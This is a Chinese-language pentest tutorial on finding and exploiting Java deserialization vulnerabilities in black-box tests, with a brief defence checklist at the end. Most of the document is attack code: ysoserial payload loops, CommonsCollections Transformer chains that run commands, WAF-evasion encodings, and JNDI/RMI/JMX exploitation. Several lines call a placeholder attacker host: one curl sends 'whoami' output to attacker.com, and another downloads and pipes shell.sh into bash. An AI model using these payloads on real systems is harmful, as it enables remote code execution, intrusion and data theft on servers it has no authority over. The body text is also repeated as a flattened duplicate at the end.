Java漏洞在黑盒实战中的技巧——反序列化篇
字数 1878 2025-08-29 08:29:59

Java反序列化漏洞黑盒实战技巧

一、入口点发现技巧

1. 协议特征识别

Java原生序列化

  • 特征头AC ED 00 05(魔数头)
  • HTTP请求示例
    POST /api/data HTTP/1.1
    Content-Type: application/x-java-serialized-object
    [HEX] AC ED 00 05 73 72 00 ...
    

XML序列化

  • 特征:包含java serialization="1.0"声明
  • 示例
    <java serialization="1.0">
      <object class="java.util.HashMap">
        <field name="user" class="com.example.User">
          <string>test</string>
        </field>
      </object>
    </java>
    

JSON特殊格式

  • 可能包含特殊构造的JSON对象,用于触发反序列化

2. 常见渗透路径

graph LR
A[HTTP请求] --> B[参数污染]
A --> C[Cookie篡改]
A --> D[文件上传]
E[JMX端口] --> F[1099端口探测]
G[RMI服务] --> H[远程对象绑定]

二、漏洞检测手法

1. 盲打检测法

  • 使用DNSLOG检测
    java -jar ysoserial.jar URLDNS "http://xxxxxx.dnslog.cn" > payload.bin
    curl -X POST --data-binary @payload.bin http://target.com/api
    
  • 观察DNS解析记录确认漏洞

2. 延时检测法

  • 构造触发sleep的payload
    Transformer[] chain = {
      new ConstantTransformer(Thread.class),
      new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"sleep", new Class[]{Long.TYPE}}),
      new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, new Object[]{5000}})
    };
    
  • 判断标准
    • 正常请求响应时间:200ms
    • 成功触发后响应时间:>5000ms

3. 错误信息分析

  • 关键错误特征
    HTTP/1.1 500 Internal Server Error
    Content-Type: text/plain
    java.io.InvalidClassException: org.apache.commons.collections.functors.InvokerTransformer; 
    local class incompatible: stream classdesc serialVersionUID = -8653385846894807688...
    
  • 关注点
    • 出现InvokerTransformerAnnotationInvocationHandler等类名
    • InvalidClassException中包含CC组件信息

三、协议级渗透技巧

1. RMI服务探测

  • 使用nmap扫描
    nmap -p 1099 --script rmi-vuln-classloader 192.168.1.100
    
  • 强制绑定恶意对象
    String server = "rmi://192.168.1.100:1099/Exploit";
    Naming.bind(server, new MaliciousObject());
    

2. JMX攻击

  • 构造JMX连接payload
    JMXServiceURL url = new JMXServiceURL(
      "service:jmx:rmi:///jndi/rmi://attacker.com:1099/exploit");
    JMXConnector connector = JMXConnectorFactory.connect(url);
    

3. HTTP参数注入

  • 示例请求
    POST /exportData HTTP/1.1
    Content-Type: multipart/form-data
    --boundary
    Content-Disposition: form-data; name="config"
    rO0ABXNyADRjb20uZXhhbXBsZS5TZXJpYWxpemFibGVDb25maWg... # 序列化对象
    

四、高级绕过检测

1. 协议伪装技巧

  • 将序列化数据嵌入JSON
    import base64
    payload = open('payload.bin', 'rb').read()
    wrapped = {
      "data": {
        "type": "base64",
        "value": base64.b64encode(payload).decode()
      }
    }
    requests.post(url, json=wrapped)
    

2. 字符集混淆

  • 使用多种编码绕过WAF
    String[] encodings = {"UTF-16BE", "UTF-32", "x-COMPOUND_TEXT"};
    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(bos);
    oos.writeObject(payload);
    for (String enc : encodings) {
      String encoded = new String(bos.toByteArray(), enc);
      sendTestRequest(encoded);
    }
    

3. 分块传输绕过

  • 示例请求
    POST /api/upload HTTP/1.1
    Transfer-Encoding: chunked
    7
    \xac\xed\x00\x05
    0
    ...后续chunk携带剩余payload...
    

五、工具链配置

1. Burp Suite插件配置

  • 自动检测Java序列化
    from burp import IBurpExtender
    from burp import IScannerCheck
    
    class BurpExtender(IBurpExtender, IScannerCheck):
      def doPassiveScan(self, baseRequestResponse):
        data = baseRequestResponse.getRequest()
        if b'\xac\xed\x00\x05' in data:
          return [CustomScanIssue(
            baseRequestResponse.getHttpService(),
            "Java Serialization Detected",
            "Possible insecure deserialization")]
    

2. 自动化检测脚本

  • 批量生成CC变种payload
    #!/bin/bash
    TARGET=$1
    for gadget in {1..10}; do
      java -jar ysoserial.jar CommonsCollections$gadget "nslookup $gadget.xxx.dnslog.cn" > payload$gadget.bin
      curl -X POST --data-binary @payload$gadget.bin $TARGET
    done
    

六、漏洞确认与利用

1. 回显验证

  • 构造命令执行回显payload
    String cmd = "curl http://attacker.com/$(whoami|base64)";
    Transformer[] chain = {
      new ConstantTransformer(Runtime.class),
      new InvokerTransformer("getMethod", ...),
      new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
    };
    

2. 内存马注入验证

  • 检测表达式解析
    GET /favicon.ico HTTP/1.1
    Host: target.com
    X-Token: ${@Runtime@getRuntime().exec("calc")}
    

七、防御方案验证

1. 安全配置检查

  • 测试反序列化过滤
    curl -v -X POST --data 'rO0ABXNy...' -H "Content-Type: application/x-java-serialized-object" http://target.com/api
    
  • 预期安全响应
    HTTP/1.1 403 Forbidden
    Content-Type: application/json
    {"error":"Unsupported media type"}
    

2. WAF规则测试

  • 测试WAF拦截能力
    payloads = [
      b'InvokerTransformer',
      b'AnnotationInvocationHandler',
      b'\xac\xed\x00\x05'
    ]
    for p in payloads:
      r = requests.post(url, data=p)
      if r.status_code != 403:
        print(f"Bypass found: {p[:20]}...")
    

总结与思维导图

graph TD
A[黑盒测试流程] --> B[流量捕获]
A --> C[特征识别]
A --> D[Payload构造]
A --> E[异常检测]
B --> F[BurpSuite历史记录]
C --> G[AC ED头检测]
D --> H[Ysoserial生成]
E --> I[响应时间分析]
E --> J[错误信息匹配]
E --> K[DNSLOG回调]

核心要点

  1. 通过协议特征快速锁定可疑端点
  2. 结合多种检测手法相互验证
  3. 关注非常规协议端口(RMI/JMX/JNDI)
  4. 持续更新payload绕过最新防御措施

反序列化的深度技巧

1. 基于协议特征的深度检测

DNS/ICMP 双通道验证

  • 组合DNS查询与ICMP回显
    # 生成DNS探测payload
    dns_log = "yourdomain.dnslog.cn"
    payload = os.popen(f'java -jar ysoserial.jar URLDNS {dns_log}').read()
    requests.post(target_url, data=payload)
    
    # 监听ICMP
    from scapy.all import *
    def icmp_callback(pkt):
      if pkt.haslayer(ICMP) and pkt[ICMP].type == 8:
        print(f"ICMP Echo Request from {pkt[IP].src}")
    sniff(filter="icmp", prn=icmp_callback, timeout=30)
    
  • 原理
    • URLDNS链触发DNS解析
    • 若网络限制DNS外连,改用CommonsCollections5构造ping命令触发ICMP

2. 非常规协议伪装

HTTP参数嵌套Base64

import base64
with open("payload.bin", "rb") as f:
    serialized_data = f.read()
wrapped_payload = {
    "data": {
        "type": "binary",
        "content": base64.b64encode(serialized_data).decode()
    }
}
requests.post("http://target/api/upload", json=wrapped_payload)
  • 特征伪装:原始特征rO0AB被Base64编码为ck8wQUI=,绕过简单正则

Multipart表单注入

files = {
    'file': ('payload.bin', open('payload.bin', 'rb'), 
             'application/x-java-serialized-object')
}
requests.post("http://target/upload", files=files)
  • 检测点:观察Content-Type: multipart/form-data中的序列化数据

3. 中间件特性利用

JBoss httpinvoker漏洞利用

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(javax.management.MBeanServerConnection.class),
    new InvokerTransformer("getAttribute", 
        new Class[]{ObjectName.class, String.class}, 
        new Object[]{new ObjectName("jboss.system:type=Server"), "StartTime"}),
    new InvokerTransformer("toString", null, null)
};
  • 触发点:发送payload至/invoker/readonly端点,利用MBean操作执行命令

4. 时序攻击与条件竞争

延迟注入检测

import time
payloads = [
    generate_sleep_payload(5),  # 生成触发Thread.sleep(5000)的payload
    generate_dummy_payload()
]
for p in payloads:
    start = time.time()
    requests.post(target_url, data=p)
    elapsed = time.time() - start
    if elapsed > 4.5:
        print(f"Potential vulnerability detected with payload {p}")
  • 原理:成功触发漏洞时服务器会执行sleep导致响应延迟

5. 非标准端口探测

JMX端口(1099)探测

nmap -p 1099 --script rmi-dumpregistry <target_ip>
String jmxUrl = "service:jmx:rmi:///jndi/rmi://attacker_ip:1099/Exploit";
JMXConnector connector = JMXConnectorFactory.connect(new JMXServiceURL(jmxUrl));
  • 利用场景:JMX默认使用RMI协议,未配置安全策略时可直连执行命令

6. 防御绕过技巧

动态类加载混淆

Transformer[] chain = {
    new ConstantTransformer(URLClassLoader.class),
    new InvokerTransformer("newInstance", 
        new Class[]{URL[].class}, 
        new Object[]{new URL[]{new URL("http://attacker.com/")}}),
    new InvokerTransformer("loadClass", 
        new Class[]{String.class}, 
        new Object[]{"Exploit"}),
    new InvokerTransformer("newInstance", null, null)
};
  • 绕过效果:避免直接引用危险类(如Runtime),绕过静态黑名单检测

典型案例分析

案例1:Apache Commons Collections反序列化漏洞

利用条件

  • 目标使用ACC 3.1-3.2.1或4.0-4.1版本
  • 存在未过滤的反序列化入口

攻击步骤

  1. 构造利用链:
    Transformer[] transformers = new Transformer[] {
      new ConstantTransformer(Runtime.class),
      new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", null}),
      new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, null}),
      new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new Object[]{"calc.exe"})
    };
    
  2. 通过TransformedMapAnnotationInvocationHandler触发链式调用
  3. 生成Payload并注入目标参数

案例2:Fastjson 1.2.24反序列化漏洞

利用条件

  • 使用Fastjson ≤1.2.24
  • 未配置autoTypeCheck

攻击步骤

  1. 构造恶意JSON:
    {
      "@type":"com.sun.rowset.JdbcRowSetImpl",
      "dataSourceName":"ldap://attacker.com/Exploit",
      "autoCommit":true
    }
    
  2. 触发JNDI注入加载远程类

案例3:JBoss JMXInvokerServlet漏洞

利用条件

  • JBoss ≤6.x
  • JMXInvokerServlet可访问

攻击步骤

  1. 生成Payload:
    java -jar ysoserial.jar CommonsCollections1 "curl http://attacker.com/shell.sh | bash" > payload.bin
    
  2. 发送至目标接口:
    POST /invoker/JMXInvokerServlet HTTP/1.1
    Content-Type: application/x-java-serialized-object
    [payload.bin内容]
    

防御建议

  1. 技术措施

    • 启用SerialKiller等安全反序列化库
    • 配置JVM安全策略限制敏感操作
    • 升级存在漏洞的第三方库
  2. 配置管理

    • 关闭不必要的RMI/JMX端口
    • 配置输入验证和白名单机制
    • 禁用危险的序列化功能
  3. 监控检测

    • 监控异常反序列化操作
    • 部署WAF规则检测常见攻击特征
    • 定期进行安全审计和渗透测试
Java反序列化漏洞黑盒实战技巧 一、入口点发现技巧 1. 协议特征识别 Java原生序列化 特征头 : AC ED 00 05 (魔数头) HTTP请求示例 : XML序列化 特征 :包含 java serialization="1.0" 声明 示例 : JSON特殊格式 可能包含特殊构造的JSON对象,用于触发反序列化 2. 常见渗透路径 二、漏洞检测手法 1. 盲打检测法 使用DNSLOG检测 : 观察DNS解析记录确认漏洞 2. 延时检测法 构造触发sleep的payload : 判断标准 : 正常请求响应时间:200ms 成功触发后响应时间:>5000ms 3. 错误信息分析 关键错误特征 : 关注点 : 出现 InvokerTransformer 、 AnnotationInvocationHandler 等类名 InvalidClassException 中包含CC组件信息 三、协议级渗透技巧 1. RMI服务探测 使用nmap扫描 : 强制绑定恶意对象 : 2. JMX攻击 构造JMX连接payload : 3. HTTP参数注入 示例请求 : 四、高级绕过检测 1. 协议伪装技巧 将序列化数据嵌入JSON : 2. 字符集混淆 使用多种编码绕过WAF : 3. 分块传输绕过 示例请求 : 五、工具链配置 1. Burp Suite插件配置 自动检测Java序列化 : 2. 自动化检测脚本 批量生成CC变种payload : 六、漏洞确认与利用 1. 回显验证 构造命令执行回显payload : 2. 内存马注入验证 检测表达式解析 : 七、防御方案验证 1. 安全配置检查 测试反序列化过滤 : 预期安全响应 : 2. WAF规则测试 测试WAF拦截能力 : 总结与思维导图 核心要点 : 通过协议特征快速锁定可疑端点 结合多种检测手法相互验证 关注非常规协议端口(RMI/JMX/JNDI) 持续更新payload绕过最新防御措施 反序列化的深度技巧 1. 基于协议特征的深度检测 DNS/ICMP 双通道验证 组合DNS查询与ICMP回显 : 原理 : URLDNS链触发DNS解析 若网络限制DNS外连,改用CommonsCollections5构造ping命令触发ICMP 2. 非常规协议伪装 HTTP参数嵌套Base64 特征伪装 :原始特征 rO0AB 被Base64编码为 ck8wQUI= ,绕过简单正则 Multipart表单注入 检测点 :观察 Content-Type: multipart/form-data 中的序列化数据 3. 中间件特性利用 JBoss httpinvoker漏洞利用 触发点 :发送payload至 /invoker/readonly 端点,利用MBean操作执行命令 4. 时序攻击与条件竞争 延迟注入检测 原理 :成功触发漏洞时服务器会执行sleep导致响应延迟 5. 非标准端口探测 JMX端口(1099)探测 利用场景 :JMX默认使用RMI协议,未配置安全策略时可直连执行命令 6. 防御绕过技巧 动态类加载混淆 绕过效果 :避免直接引用危险类(如Runtime),绕过静态黑名单检测 典型案例分析 案例1:Apache Commons Collections反序列化漏洞 利用条件 : 目标使用ACC 3.1-3.2.1或4.0-4.1版本 存在未过滤的反序列化入口 攻击步骤 : 构造利用链: 通过 TransformedMap 和 AnnotationInvocationHandler 触发链式调用 生成Payload并注入目标参数 案例2:Fastjson 1.2.24反序列化漏洞 利用条件 : 使用Fastjson ≤1.2.24 未配置 autoTypeCheck 攻击步骤 : 构造恶意JSON: 触发JNDI注入加载远程类 案例3:JBoss JMXInvokerServlet漏洞 利用条件 : JBoss ≤6.x JMXInvokerServlet可访问 攻击步骤 : 生成Payload: 发送至目标接口: 防御建议 技术措施 : 启用 SerialKiller 等安全反序列化库 配置JVM安全策略限制敏感操作 升级存在漏洞的第三方库 配置管理 : 关闭不必要的RMI/JMX端口 配置输入验证和白名单机制 禁用危险的序列化功能 监控检测 : 监控异常反序列化操作 部署WAF规则检测常见攻击特征 定期进行安全审计和渗透测试